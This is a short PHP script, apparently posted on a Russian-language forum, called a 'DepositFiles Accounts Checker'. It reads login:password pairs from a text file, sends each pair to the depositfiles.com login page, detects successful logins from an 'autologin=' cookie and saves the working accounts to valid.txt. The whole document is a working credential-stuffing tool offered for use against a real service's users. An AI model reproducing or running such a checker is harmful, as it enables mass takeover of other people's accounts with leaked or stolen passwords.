Код:
<?php ################################# # DepositFiles Accounts Checker # by #Wolf# & thanks2-=lebed=- # http://wolf-et.ru/ # License: gnu gpl v3 ################################# set_time_limit(0); $user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent $acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль $vallist="valid.txt"; #куда будем писать валидные аккаунты $account=file($acclist); #Помещаем аккаунты в массив $valid=$invalid=0; function Check($login,$pass) { $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет $out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"; # Отправляем заголовки $out .= "Host: depositfiles.com\r\n"; $out .= "Keep-Alive: 300\r\n"; $out .= "Connection: keep-alive\r\n"; $out .= "User-Agent: ".$user_agent."\r\n"; $out .= "Cookie: income=1\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; fwrite($fp,$out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); # ответ сервера } fclose($fp); # Закрываем сокеты return strpos($ans,"autologin=") ? true : false; # Проверяем } echo '<h3>Валидные логины:пароли</h3>'; for($i=0;$i<count($account);$i++) { #цикл list($login,$pass) = explode(":",trim($account[$i])); # разбиваем аккаунты на логин и пароль if (Check($login,$pass)) { # Вызываем функцию проверки аккаунта echo $login.':'.$pass.'<br />'; flush(); ob_flush(); $fd = fopen($vallist,'a+'); # открываем файл fputs($fd,$account[$i]); # записываем в файл рабочий акк fclose($fd); # закрываем файл ++$valid; }else {++$invalid;} } echo "<br><h3>Итого</h3>Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid.""; ?>